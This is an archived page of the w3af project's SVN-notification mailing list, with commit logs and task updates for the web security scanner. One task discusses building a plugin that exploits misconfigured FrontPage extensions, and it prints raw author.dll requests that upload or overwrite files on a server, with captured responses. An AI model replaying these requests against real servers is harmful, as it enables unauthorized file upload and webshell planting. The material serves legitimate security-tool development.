w3af-svn-notify Mailing List for w3af (Page 232)
Status: Beta
Brought to you by:
andresriancho
Menu
▾
▴
w3af-svn-notify — This mailing list has a copy of the SVN Commit logs and each modified file
You can subscribe to this list here.
| 2008 |
Jan
|
Feb
(235) |
Mar
(336) |
Apr
(280) |
May
(278) |
Jun
(159) |
Jul
(270) |
Aug
(240) |
Sep
(121) |
Oct
(110) |
Nov
(199) |
Dec
(228) |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2009 |
Jan
(251) |
Feb
(206) |
Mar
(115) |
Apr
(45) |
May
(27) |
Jun
(67) |
Jul
(49) |
Aug
(38) |
Sep
(10) |
Oct
(131) |
Nov
(89) |
Dec
(38) |
| 2010 |
Jan
(85) |
Feb
(71) |
Mar
(45) |
Apr
(23) |
May
(12) |
Jun
|
Jul
(11) |
Aug
(7) |
Sep
(81) |
Oct
(79) |
Nov
(165) |
Dec
(62) |
| 2011 |
Jan
(134) |
Feb
(73) |
Mar
(34) |
Apr
(63) |
May
(147) |
Jun
(43) |
Jul
(21) |
Aug
(26) |
Sep
(43) |
Oct
(34) |
Nov
(44) |
Dec
(112) |
| 2012 |
Jan
(47) |
Feb
(44) |
Mar
(72) |
Apr
(209) |
May
(54) |
Jun
(279) |
Jul
(151) |
Aug
(332) |
Sep
(39) |
Oct
(268) |
Nov
(116) |
Dec
(368) |
| 2013 |
Jan
(73) |
Feb
|
Mar
|
Apr
(1) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
|
From: <and...@us...> - 2008-06-16 15:40:57
|
Revision: 1304
http://w3af.svn.sourceforge.net/w3af/?rev=1304&view=rev
Author: andresriancho
Date: 2008-06-16 08:40:17 -0700 (Mon, 16 Jun 2008)
Log Message:
-----------
Removing buzhug dependency check.
Modified Paths:
--------------
trunk/core/ui/gtkUi/main.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-06-16 15:32:30
|
Task #148654 has been updated. Project: w3af Subproject: TODO v1.00 Summary: reqResDBHandler - sqlite3 ? Complete: 100% Status: Closed Authority : andresriancho Assigned to: andresriancho Description: Maybe its a good idea to have a reqResDBHandler that uses sqlite3 instead of buzhug? This would be great to test the two implementations and keep the faster one. Follow-Ups: ------------------------------------------------------- Date: 2008-06-16 12:32 By: andresriancho Comment: Done. ------------------------------------------------------- Date: 2008-05-22 00:28 By: andresriancho Comment: http://docs.python.org/whatsnew/modules.html#SECTION0001440000000000000000 ------------------------------------------------------- Date: 2008-05-22 00:26 By: andresriancho Comment: buzhug is usually much faster than KirbyBase and Gadfly for selection of records. On the 25,000 item base, the average is 10 times faster than KirbyBase and 275 times faster than Gadlfy. KirbyBase is faster for insertion of new records (because all data are stored in a single file) and for the delete2 test. Gadfly is only faster for the delete2 test SQLite is faster than buzhug on nearly all operations. On the 25,000 item base, the average on all operations is 2,7 times faster (with or without index). buzhug is only faster on delete1 ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148654&group_id=170274&group_project_id=48542 |
|
From: SourceForge.net <no...@so...> - 2008-06-16 15:09:49
|
Task #149268 has been updated. Project: w3af Subproject: Plugin TODO v1.20 Summary: proxy daemon - spiderMan - gtkUi local proxy show hidden Complete: 0% Status: Open Authority : andresriancho Assigned to: nobody Description: proxy daemon - spiderMan - gtkUi local proxy show hidden; when you navigate a site that contains a form with hidden fields through webscarab, the fields are shown. This is a neat feature! ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=149268&group_id=170274&group_project_id=51670 |
|
From: <and...@us...> - 2008-06-16 14:24:37
|
Revision: 1303
http://w3af.svn.sourceforge.net/w3af/?rev=1303&view=rev
Author: andresriancho
Date: 2008-06-16 07:24:23 -0700 (Mon, 16 Jun 2008)
Log Message:
-----------
Cluster responses now has its own icon.
Modified Paths:
--------------
trunk/core/ui/gtkUi/compare.py
trunk/core/ui/gtkUi/craftedRequests.py
Added Paths:
-----------
trunk/core/ui/gtkUi/data/cluster_data.png
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <and...@us...> - 2008-06-16 14:16:49
|
Revision: 1302
http://w3af.svn.sourceforge.net/w3af/?rev=1302&view=rev
Author: andresriancho
Date: 2008-06-16 07:16:40 -0700 (Mon, 16 Jun 2008)
Log Message:
-----------
If the headers say charset X and the meta tag of the html body says charset Y; we handle that.
Modified Paths:
--------------
trunk/core/data/url/httpResponse.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-06-16 13:17:32
|
Task #149259 has been updated. Project: w3af Subproject: gtkUi - Phase 4 Summary: Case insensitive search Complete: 0% Status: Open Authority : andresriancho Assigned to: nobody Description: When I type Ctrl+F, it would be nice to have a "Match case" option just like in firefox. ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=149259&group_id=170274&group_project_id=55676 |
|
From: <and...@us...> - 2008-06-16 03:40:04
|
Revision: 1301
http://w3af.svn.sourceforge.net/w3af/?rev=1301&view=rev
Author: andresriancho
Date: 2008-06-15 20:40:01 -0700 (Sun, 15 Jun 2008)
Log Message:
-----------
By default we compare the responses, not the requests.
Modified Paths:
--------------
trunk/core/ui/gtkUi/compare.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <and...@us...> - 2008-06-16 03:32:41
|
Revision: 1300
http://w3af.svn.sourceforge.net/w3af/?rev=1300&view=rev
Author: andresriancho
Date: 2008-06-15 20:32:14 -0700 (Sun, 15 Jun 2008)
Log Message:
-----------
Small change that avoids a bug. I changed the name of httpShow to showObject.
Modified Paths:
--------------
trunk/core/ui/gtkUi/craftedRequests.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <and...@us...> - 2008-06-16 03:29:14
|
Revision: 1299
http://w3af.svn.sourceforge.net/w3af/?rev=1299&view=rev
Author: andresriancho
Date: 2008-06-15 20:29:12 -0700 (Sun, 15 Jun 2008)
Log Message:
-----------
Lots of changes! Now I'm using the persist class all over the place, and sending objects from one window to another instead of those annoying rows from buzhug.
Modified Paths:
--------------
trunk/core/controllers/threads/threadManager.py
trunk/core/data/db/persist.py
trunk/core/data/db/reqResDBHandler.py
trunk/core/data/request/fuzzableRequest.py
trunk/core/data/url/httpResponse.py
trunk/core/ui/gtkUi/httpLogTab.py
trunk/core/ui/gtkUi/reqResViewer.py
trunk/core/ui/gtkUi/scanrun.py
trunk/plugins/output/gtkOutput.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-06-16 01:50:57
|
Task #149255 has been updated. Project: w3af Subproject: TODO v1.10 Summary: when using gtkUi, data is stored twice! Complete: 0% Status: Open Authority : andresriancho Assigned to: nobody Description: when using gtkUi, data is stored twice! localCache and the gtkOutput plugin both store the same things twice... IMPROVE THIS! ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=149255&group_id=170274&group_project_id=54341 |
|
From: <and...@us...> - 2008-06-16 01:15:13
|
Revision: 1298
http://w3af.svn.sourceforge.net/w3af/?rev=1298&view=rev
Author: andresriancho
Date: 2008-06-15 18:15:09 -0700 (Sun, 15 Jun 2008)
Log Message:
-----------
Added a new way of persisting objects in w3af. I'm going to use this everywhere I need to persist information. I think that buzhug is going to dissapear.
Modified Paths:
--------------
trunk/core/data/db/reqResDBHandler.py
Added Paths:
-----------
trunk/core/data/db/persist.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-06-15 15:34:22
|
Task #149208 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: Version in crash Complete: 100% Status: Closed Authority : facundobatista Assigned to: facundobatista Description: Include the gtk, pygtk and python versions in the information stored in the crash.txt file. Follow-Ups: ------------------------------------------------------- Date: 2008-06-15 12:34 By: facundobatista Comment: Done in r1297. ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=149208&group_id=170274&group_project_id=56282 |
|
From: <fac...@us...> - 2008-06-15 15:33:40
|
Revision: 1297
http://w3af.svn.sourceforge.net/w3af/?rev=1297&view=rev
Author: facundobatista
Date: 2008-06-15 08:33:39 -0700 (Sun, 15 Jun 2008)
Log Message:
-----------
Added versions info in the crash file, and made some
cleanups.
Modified Paths:
--------------
trunk/core/ui/gtkUi/helpers.py
trunk/core/ui/gtkUi/main.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-06-15 15:17:37
|
Task #148701 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: error messages in log window Complete: 50% Status: Open Authority : andresriancho Assigned to: andresriancho Description: gtkUi should print the message objects of type 'error' that are in the gtkOutput plugin queue in the log message window. To do this, the gtkUi should use: - Black color - Bold letters (The combination is rather arbitraty and will be verified with Eduardo in our next meeting that I hope will be in a month or so) For now, the core prints some bugs as errors, but in the future this won't happen. Please add the code to print the error messages with the specified color and after that assign the task back to me, so I can remember to fix the core. Follow-Ups: ------------------------------------------------------- Date: 2008-06-15 12:17 By: facundobatista Comment: Done my part, commited in r1296. Assigning it to you to remember to fix the core. ------------------------------------------------------- Date: 2008-05-23 16:40 By: andresriancho Comment: Use brown, it will change in a month or so. It ain't important at this moment. ------------------------------------------------------- Date: 2008-05-23 15:56 By: facundobatista Comment: I won't put the letter in bold, a lot of code is needed for that (use another color is easy, it fits in the actual structure). Still want to use black? ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148701&group_id=170274&group_project_id=56282 |
|
From: <fac...@us...> - 2008-06-15 15:17:04
|
Revision: 1296
http://w3af.svn.sourceforge.net/w3af/?rev=1296&view=rev
Author: facundobatista
Date: 2008-06-15 08:17:02 -0700 (Sun, 15 Jun 2008)
Log Message:
-----------
Done #148701.
Modified Paths:
--------------
trunk/core/ui/gtkUi/messages.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <fac...@us...> - 2008-06-15 14:28:52
|
Revision: 1295
http://w3af.svn.sourceforge.net/w3af/?rev=1295&view=rev
Author: facundobatista
Date: 2008-06-15 07:28:38 -0700 (Sun, 15 Jun 2008)
Log Message:
-----------
Small FIXME annotation to be fulfilled later.
Modified Paths:
--------------
trunk/core/ui/gtkUi/scanrun.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <fac...@us...> - 2008-06-15 03:31:33
|
Revision: 1294
http://w3af.svn.sourceforge.net/w3af/?rev=1294&view=rev
Author: facundobatista
Date: 2008-06-14 20:31:31 -0700 (Sat, 14 Jun 2008)
Log Message:
-----------
Refactored everythin to pass the httpResponse and not the
raw texts. Finished the compare window.
Modified Paths:
--------------
trunk/core/ui/gtkUi/compare.py
trunk/core/ui/gtkUi/craftedRequests.py
trunk/core/ui/gtkUi/reqResViewer.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-06-14 16:54:37
|
Task #148114 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: HTTP response side by side content compare Complete: 85% Status: Open Authority : facundobatista Assigned to: andresriancho Description: Try to reutilize MELD (check the license). Test if that reutilization is ok in win32. Andres needs to define how to choose the two responses (or more than two). This task needs further definitions!! Follow-Ups: ------------------------------------------------------- Date: 2008-06-14 13:54 By: facundobatista Comment: Need to implement help (this comes with another task), but also need to send to the cluster. For the latter is why I'm not closing this, but assigning to Andres, because he needs to provide an interface to allow it to be called not with an httpResponse object, but with just the four texts. ------------------------------------------------------- Date: 2008-06-08 21:15 By: facundobatista Comment: Added a lot of functionality, ------------------------------------------------------- Date: 2008-05-26 01:26 By: facundobatista Comment: This should be discused and designed face to face. Andres, we should meet about this. Good news: I now have MELD trimmed down and usable for what we want (+4 hs cleaning code!), :D ------------------------------------------------------- Date: 2008-05-25 15:30 By: andresriancho Comment: Given that the responses to compare are going to be selected by the user at some point; and the only way that the user can see responses are within a reqResViewer then I think that the best place to add the selector for responses to compare is there. Now, more in detail: - The compare tool, if based on meld, should have the same icon. For now, the tool can be called "Diff tool". - The selector that I was talking before, should be a small button with the tool icon, which would be located on the bottom of the response notebook inside reqResViewer. The button should only show the icon and have a tooltip that says "Send to diff tool". - In order to keep the same design, the buttons that send the request to the manual request editor and to the fuzzy should look like the above one: only the icon in the button and the corresponding tooltip. Please note that these buttons are below the request notebook, and the diff tool one is below the response notebook. - The user can send as many responses as he wants to the diff tool. - When the user opens the diff tool, he will be presented with a modified version of meld, that on the left pane shows the first response that he sent to the diff tool, and on the right pane shows the second response. All other responses can be selected to be diff'ed with a entries.PagesControl widget. - This modified version of meld should *clearly* show to the user if the responses are equal. A good way of doing this is to put on top of the responses two labels that have the sha1 hash of the responses; and if the hashes match set the background color of the two labels to green, and if they don't set them to red. - The diff tool should also have a "Clear" button that removes all responses from the current view; so the user can send others to compare. - The tool should have a "delete from view" button that allows the user to remove the response being compared from the diff tool. - The tool should have a button that sends a response from the right pane to the left pane; and sends the one in the left pane to the list of other responses being compared. Do you need more definitions? If so, don't hesitate to ask. Crazy feature that would be really cool to implement in version 3.0 of w3af: after sending a lot of responses to the diff tool, you would hit a button that says "Multicompare" that draws a graph that has one circle for each request. The distance between the circles determines how different they are. This would make a multiple comparison of responses sooooooo easy! I think I could implement this just for the fun of watching it work ;) ------------------------------------------------------- Date: 2008-05-11 17:32 By: facundobatista Comment: Pretty much it can be reused, need to find out how to stop using gnome stuff, for win32. Regarding license, it's GPL, so I think it's fine. I'll wait further definitions here, to see if MELD is suitable or not (so I'm assigning this now to Andres). ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148114&group_id=170274&group_project_id=56282 |
|
From: <fac...@us...> - 2008-06-14 16:52:57
|
Revision: 1293
http://w3af.svn.sourceforge.net/w3af/?rev=1293&view=rev
Author: facundobatista
Date: 2008-06-14 09:52:55 -0700 (Sat, 14 Jun 2008)
Log Message:
-----------
Advanced with the comparation window. Need only to implement help,
and to send to cluster, after Andres fix the interface.
Modified Paths:
--------------
trunk/core/ui/gtkUi/compare.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <and...@us...> - 2008-06-14 14:56:19
|
Revision: 1292
http://w3af.svn.sourceforge.net/w3af/?rev=1292&view=rev
Author: andresriancho
Date: 2008-06-14 07:56:12 -0700 (Sat, 14 Jun 2008)
Log Message:
-----------
Better testing for auth detection in grepPlugins, and fixing bug #1991169 that reported the same cookie twice.
Modified Paths:
--------------
extras/testEnv/webroot/grepPlugins/index.html
trunk/plugins/grep/collectCookies.py
trunk/w3af.e3t
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <lb...@us...> - 2008-06-13 22:28:38
|
Revision: 1291
http://w3af.svn.sourceforge.net/w3af/?rev=1291&view=rev
Author: lbello
Date: 2008-06-13 15:28:29 -0700 (Fri, 13 Jun 2008)
Log Message:
-----------
adding pypdf dependency check
Modified Paths:
--------------
trunk/core/controllers/misc/dependencyCheck.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <lb...@us...> - 2008-06-13 22:20:15
|
Revision: 1290
http://w3af.svn.sourceforge.net/w3af/?rev=1290&view=rev
Author: lbello
Date: 2008-06-13 15:20:07 -0700 (Fri, 13 Jun 2008)
Log Message:
-----------
fixing import as others
Modified Paths:
--------------
trunk/core/data/parsers/documentParser.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <lb...@us...> - 2008-06-13 21:26:12
|
Revision: 1289
http://w3af.svn.sourceforge.net/w3af/?rev=1289&view=rev
Author: lbello
Date: 2008-06-13 14:25:39 -0700 (Fri, 13 Jun 2008)
Log Message:
-----------
fixing a 'depends managment' issue.
Modified Paths:
--------------
trunk/core/data/parsers/documentParser.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-06-13 12:26:17
|
Task #149208 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: Version in crash Complete: 0% Status: Open Authority : facundobatista Assigned to: facundobatista Description: Include the gtk, pygtk and python versions in the information stored in the crash.txt file. ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=149208&group_id=170274&group_project_id=56282 |
|
From: SourceForge.net <no...@so...> - 2008-06-12 17:14:15
|
Task #145813 has been updated. Project: w3af Subproject: Plugin TODO v1.00 Summary: frontpage extensions Complete: 50% Status: Open Authority : andresriancho Assigned to: nobody Description: Create a plugin that exploits misconfigured frontpage extensions: Upload a file: POST /_vti_bin/_vti_aut/author.dll - 200 Test if it was created: GET /i.htm - 200 Follow-Ups: ------------------------------------------------------- Date: 2008-06-12 14:14 By: andresriancho Comment: Finally... this is a file upload with content "W3AFCONTENT"!!! : POST /_vti_bin/_vti_aut/author.dll HTTP/1.1 Date: Sat, 12 Apr 2008 16:28:47 GMT MIME-Version: 1.0 User-Agent: MSFrontPage/6.0 Host: 216.244.147.38 Accept: auth/sicily Authorization: Negotiate TlRMTVNTUAADAAAAGAAYAJAAAAAYABgAqAAAABwAHABIAAAAGgAaAGQAAAASABIAfgAAAAAAAADAAAAABYKIogUCzg4AAAAPMgAxADYALgAyADQANAAuADEANAA3AC4AMwA4AGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAQwBZAEIAUwBBAFAAVwAwADEAawRU2myTVwYAAAAAAAAAAAAAAAAAAAAAerjguYbA7VyCAypFU2+t8kY8pRxOTJBq Content-Type: application/x-vermeer-urlencoded X-Vermeer-Content-Type: application/x-vermeer-urlencoded Connection: Keep-Alive Cache-Control: no-cache Content-Length: 206 method=put+document%3a4%2e0%2e2%2e7802&service%5fname=&document=%5bdocument%5fname%3dW3AF%2etxt%3bmeta%5finfo%3d%5b%5d%5d&put%5foption=edit%2catomic%2cthicket&comment=&keep%5fchecked%5fout=false W3AFCONTENT ------------------------------------------------------- Date: 2008-05-23 19:00 By: andresriancho Comment: Never got a response in the mailing list about the way to create a file WITH CONTENT. The problem I have is that I don't know where to put the content of the file. As a guide, we should use audit.frontpage plugin for frontpage stuff and attack.davShell for exploiting stuff in the w3af framework. This task was assigned to Andrew Brooks. ------------------------------------------------------- Date: 2008-02-24 16:43 By: andresriancho Comment: Asked for help on the users mailing list, awaiting response. ------------------------------------------------------- Date: 2008-01-30 16:41 By: andresriancho Comment: Coded the audit plugin, now I need an attack plugin that can exploit this vuln by uploading a webshell. ------------------------------------------------------- Date: 2008-01-30 15:42 By: andresriancho Comment: REQUEST ======= POST http://XXXX/_vti_bin/_vti_aut/author.dll HTTP/1.0 Host: XXXX User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;) Pragma: no-cache Content-Type: application/x-www-form-urlencoded method=put document:4.0.2.4715&service_name=&document=[document_name=index-3.htm;meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false RESPONSE ======== HTTP/1.0 200 OK Date: Wed, 30 Jan 2008 18:37:11 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET X-FrontPage-User-Name: IUSR_ECUIO012EP12 <html><head><title>vermeer RPC packet</title></head> <body> <p>method=put document:4.0.2.4715 <p>message=successfully put document 'index-3.htm' as 'c:\inetpub\wwwroot\index-3.htm' <p>document= <ul> <li>document_name=index-3.htm <li>meta_info= <ul> <li>vti_author <li>SR|IUSR_ECUIO012EP12 <li>vti_modifiedby <li>SR|IUSR_ECUIO012EP12 <li>vti_timecreated <li>TR|30 Jan 2008 18:37:12 -0000 <li>vti_timelastmodified <li>TR|30 Jan 2008 18:37:12 -0000 <li>vti_filesize <li>IR|0 <li>vti_backlinkinfo <li>VX| <li>vti_timelastwritten <li>TX|30 Jan 2008 18:37:12 -0000 </ul> </ul> </body> </html> ------------------------------------------------------- Date: 2008-01-30 15:24 By: andresriancho Comment: http://msdn2.microsoft.com/en-us/library/ms479623.aspx ------------------------------------------------------- Date: 2008-01-30 15:18 By: andresriancho Comment: http://www.packetstormsecurity.org/9910-exploits/webfolders.txt ------------------------------------------------------- Date: 2008-01-30 14:59 By: andresriancho Comment: The content posted to author.dll method=put+document%3a4%2e0%2e2%2e4715&service%5fname=&document=%5bdocument%5fname%3dindex.htm%3bmeta%5finfo%3d%5b%5d%5d&put%5foption=overwrite&comment=&keep%5fchecked%5fout=false ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=145813&group_id=170274&group_project_id=50603 |
